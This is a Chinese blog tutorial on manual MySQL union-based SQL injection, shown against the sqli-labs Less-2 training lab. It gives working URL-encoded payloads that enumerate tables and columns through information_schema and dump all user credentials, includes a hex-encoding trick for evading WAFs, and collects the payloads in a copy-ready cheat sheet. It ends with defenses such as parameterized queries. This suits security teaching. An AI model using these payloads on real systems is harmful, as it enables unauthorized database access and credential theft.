2.MySQL 手工注入:从原理到 sqli-labs 实战

张开发
2026/4/14 12:33:31 15 分钟阅读

分享文章

2.MySQL 手工注入:从原理到 sqli-labs 实战
一、先搞懂什么是 MySQL 手工注入大白话版你可以把 MySQL 手工注入理解成手动给数据库 “开后门”一步步骗数据库把敏感数据吐出来。正常情况下Web 应用会把用户输入比如 URL 里的id1拼接到 SQL 语句里发给数据库查数据。如果后端没做任何过滤我们就可以手动在输入里加恶意 SQL 语句一步步确认有没有漏洞能不能注入搞清楚数据库的表结构有多少列、有什么表、有什么字段把目标表比如存账号密码的users表里的所有数据全拖出来手工注入是 SQL 注入的基础也是渗透测试的核心技能所有自动化工具比如 SQLMap的原理都是基于手工注入的流程所以必须吃透二、手工注入标准 5 步流程大白话 专业操作 注入语句步骤 1判断是否存在注入点最基础的第一步️ 大白话解释我们要先确认这个输入点比如 URL 的id参数能不能被我们控制能不能让数据库执行我们加的 SQL 语句。核心逻辑构造「真条件」和「假条件」看页面返回结果会不会变。真条件and 11永远成立数据库会正常返回数据假条件and 12永远不成立数据库不会返回数据如果页面结果随条件变化说明存在注入如果页面没变化说明后端做了过滤没有注入点。另外一个简单方法随便输入一个非法内容比如把id1改成idda如果页面报 MySQL 错误说明存在注入因为我们的输入被拼到 SQL 里执行了如果页面正常显示说明没有注入。✅ 专业操作 注入语句以 sqli-labs Less-2 为例URL 格式http://localhost/sqli-labs/Less-2/index.php?idxxx正常访问 baseline id1页面正常返回用户Dumb的信息真条件测试id1 and 11URL 编码后id1%20and%2011页面和正常访问一致说明条件生效假条件测试id1 and 12URL 编码后id1%20and%2012页面无数据返回说明条件生效非法输入测试idda页面报 MySQL 语法错误确认存在注入点 关键说明%20是 URL 编码里的空格因为 URL 里不能直接打空格所以所有注入语句里的空格都要用%20代替也可以用代替数字型注入不需要闭合单引号字符型需要先闭合单引号核心判断方法加单引号看会不会报错步骤 2猜解表的列数order by 排序法️ 大白话解释接下来我们要用union联合查询来 “加塞” 查询数据但union有个硬性要求前后两个查询的字段数量必须完全一致。所以我们必须先搞清楚当前查询的表有多少列用order by排序法order by 数字n代表「按第 n 列排序」如果 n 超过了表的总列数MySQL 会直接报错如果 n≤总列数页面正常执行。我们从 1 开始试直到报错就能知道表有多少列。✅ 专业操作 注入语句还是以 Less-2 为例id1 order by 1id1%20order%20by%201页面正常说明第 1 列存在id1 order by 2id1%20order%20by%202页面正常说明第 2 列存在id1 order by 3id1%20order%20by%203页面正常说明第 3 列存在id1 order by 4id1%20order%20by%204页面报错Unknown column 4 in order clause说明表只有3 列图中写的「字段 4 个」是其他靶场的情况核心方法通用 关键说明这一步是后续union查询的基础必须准确否则union会直接报错数字从 1 递增直到页面报错报错的数字 - 1 就是表的总列数步骤 3判断回显位union 联合查询️ 大白话解释我们用union把我们的恶意查询拼到原查询后面但页面只会显示部分数据所以我们要先搞清楚页面会显示哪几列的数据也就是回显位我们用union select 1,2,3数字的个数等于总列数把 1、2、3 当成占位符看哪个数字会显示在页面上显示的位置就是我们后续可以用来显示敏感数据的回显位。同时我们用id-1让原查询查不到任何数据这样页面就只会显示union后面的查询结果方便我们看回显位。✅ 专业操作 注入语句Less-2 总列数是 3所以构造语句id-1 union select 1,2,3URL 编码id-1%20union%20select%201,2,3页面返回Your Login name:2 Your Password:3说明第 2 列是回显位对应username字段的位置第 3 列是回显位对应password字段的位置第 1 列没有回显不用管 关键说明id-1的作用让原查询SELECT * FROM users WHERE id-1查不到数据这样页面只会显示union后面的结果不会被原数据干扰回显位的数量和位置由页面决定有的页面只显示 1 个回显位有的显示多个核心是找到能显示数据的位置步骤 4信息收集查数据库版本、库名️ 大白话解释现在我们有了回显位就可以开始收集数据库的核心信息了数据库版本确认是不是 MySQL 5.0 以上5.0 以上才有information_schema系统库才能脱库当前数据库名知道我们要攻击的业务库叫什么名字✅ 专业操作 注入语句用 MySQL 内置函数version()查询数据库版本database()查询当前数据库名构造语句对应回显位 2 和 3id-1 union select 1,version(),database()URL 编码id-1%20union%20select%201,version(),database()页面返回Your Login name:5.7.26 Your Password:security说明数据库版本5.7.26高版本支持information_schema当前数据库名security我们的目标业务库 关键说明MySQL 5.0 以下没有information_schema无法用这种方法脱库只能暴力猜表名information_schema是 MySQL 的系统库相当于数据库的「总目录」存了所有库、表、字段的信息是注入的核心神器步骤 5脱库全流程查表名→查字段→取敏感数据这是注入的最终目标把目标库的所有敏感数据比如账号密码全拖出来分 3 小步完全对应你提供的注入语句子步骤 1查询当前库的所有表名️ 大白话解释我们要知道security库里有哪些表核心目标是users表存账号密码用information_schema.tables系统表它存了所有数据库的所有表名。用group_concat()函数把多个表名拼接成一个字符串一次性显示在回显位上不用一个个查。✅ 专业操作 注入语句核心语句union select 1,group_concat(table_name),3 from information_schema.tables where table_schemadatabase()URL 编码后id-1%20union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schemadatabase()页面返回Your Login name:emails,referers,uagents,users说明security库有 4 张表核心目标是users表。 关键说明table_schemadatabase()限定只查当前数据库的表不用手动写库名更通用group_concat()把多行结果拼接成一行解决页面只能显示一行数据的问题也可以手动写库名where table_schemasecurity注意单引号URL 编码要转义子步骤 2查询users表的所有字段名️ 大白话解释知道了表名我们要知道users表里有哪些字段比如username、password用information_schema.columns系统表它存了所有表的所有字段名。这里可以用16 进制绕过单引号把users转成 16 进制0x7573657273避免单引号被过滤更隐蔽完全对应你提供的写法。✅ 专业操作 注入语句核心语句两种写法直接写表名带单引号union select 1,group_concat(column_name),3 from information_schema.columns where table_nameusers16 进制绕过单引号推荐防过滤union select 1,group_concat(column_name),3 from information_schema.columns where table_name0x7573657273URL 编码后以 16 进制为例id-1%20union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_name0x7573657273页面返回Your Login name:id,username,password说明users表有 3 个字段id、username、password就是我们要的账号密码字段。 关键说明16 进制转换users的 ASCII 码转 16 进制就是0x7573657273可以用在线工具转换注入时直接用不用单引号避免被 WAF 拦截group_concat()同样用来拼接所有字段名一次性显示子步骤 3获取users表的所有账号密码最终脱库️ 大白话解释现在我们知道了表名、字段名直接查询username和password字段把所有用户的账号密码全拖出来用0x3a冒号的 16 进制来分隔账号和密码让结果更易读用group_concat()把所有数据拼接成一行完全对应你提供的写法。✅ 专业操作 注入语句核心语句union select 1,2,(select group_concat(username,0x3a,password) from users)URL 编码后id-1%20union%20select%201,2,(select%20group_concat(username,0x3a,password)%20from%20users)页面返回Your Password:Dumb:Dumb,Angelina:I-kill-you,Dummy:pssword,secure:crappy,stupid:stupidity,superman:genious,batman:mob!le,admin:admin,admin1:admin1,admin2:admin2,admin3:admin3,dhakkan:dumbo成功脱库拿到了users表中所有用户的账号密码注入完成 关键说明0x3a是冒号:的 16 进制用来分隔username和password让结果更清晰也可以用0x2c逗号子查询(select ... from users)把查询结果作为一个值放到回显位 3完美适配页面的显示逻辑如果页面只能显示有限长度可以用limit分批查询比如limit 0,1、limit 1,1一个个拿数据三、MySQL 手工注入核心语句速查表直接复制用把所有核心语句整理成表方便实操的时候直接复制不用再翻步骤核心 SQL 语句作用URL 编码示例Less-21. 判断注入点id1 and 11/id1 and 12构造真假条件判断是否存在注入id1%20and%20112. 猜列数id1 order by n按第 n 列排序猜表的总列数id1%20order%20by%2033. 找回显位id-1 union select 1,2,3用占位符找页面的回显位id-1%20union%20select%201,2,34. 查版本 / 库名id-1 union select 1,version(),database()获取数据库版本、当前库名id-1%20union%20select%201,version(),database()5. 查表名union select 1,group_concat(table_name),3 from information_schema.tables where table_schemadatabase()查询当前库的所有表名id-1%20union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schemadatabase()5. 查字段名union select 1,group_concat(column_name),3 from information_schema.columns where table_name0x7573657273查询 users 表的所有字段名id-1%20union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_name0x75736572735. 脱库取数union select 1,2,(select group_concat(username,0x3a,password)from users)获取 users 表的所有账号密码id-1%20union%20select%201,2,(select%20group_concat(username,0x3a,password)%20from%20users)四、原理深度复盘 防御方案1. 注入原理深度总结SQL 注入的本质只有一句话Web 应用未对用户输入做严格过滤 / 校验直接将用户输入拼接到 SQL 语句中导致攻击者可以控制 SQL 语句的逻辑执行非授权操作。数字型注入SQL 语句中id$id无单引号直接拼接无需闭合字符型注入SQL 语句中id$id有单引号需要先闭合单引号再注入核心依赖information_schema系统库MySQL 5.0让我们可以枚举所有库、表、字段实现脱库2. 企业级防御方案面试 / 笔试必背参数化查询预编译 SQL最根本的防御方式用 PDO/MySQLi 预处理语句把 SQL 语句和参数分离从根源上避免 SQL 拼接杜绝注入。示例PHP PDO$stmt $pdo-prepare(SELECT * FROM users WHERE id?); $stmt-execute([$id]); // 参数自动转义无注入风险严格输入过滤对用户输入做严格校验只允许合法字符比如数字型参数只允许 0-9过滤特殊字符、、union、select等最小权限原则Web 应用连接数据库的账号只给必要的权限比如只给SELECT权限绝对不给 root / 管理员权限即使被注入也无法造成严重危害隐藏错误信息不要将 MySQL 详细报错返回给前端避免攻击者通过报错获取表结构、注入点信息部署 WAF用 Web 应用防火墙比如阿里云 WAF、开源 WAF拦截恶意 SQL 请求过滤注入特征定期代码审计对 Web 应用的代码进行审计挖掘潜在的 SQL 注入漏洞从源头修复五、学习复盘这次手工注入的全流程实操让我彻底吃透了 SQL 注入的底层逻辑手工注入的核心是流程化操作每一步都有明确的目的从判断注入→猜列数→找回显→信息收集→脱库环环相扣缺一不可information_schema是注入的「地图」没有它就无法枚举数据库结构也就无法脱库所有自动化注入工具比如 SQLMap的原理都是基于这套手工注入的流程吃透手工注入才能真正理解工具的原理遇到绕过 WAF 等复杂场景才能手动解决防御的核心是参数化查询其他过滤、WAF 都是辅助只有从代码层面杜绝 SQL 拼接才能真正防住注入这篇博客把手工注入的每一步都讲透了新手可以跟着 sqli-labs 靶场一步步实操老手可以用来复盘原理希望能帮到大家

更多文章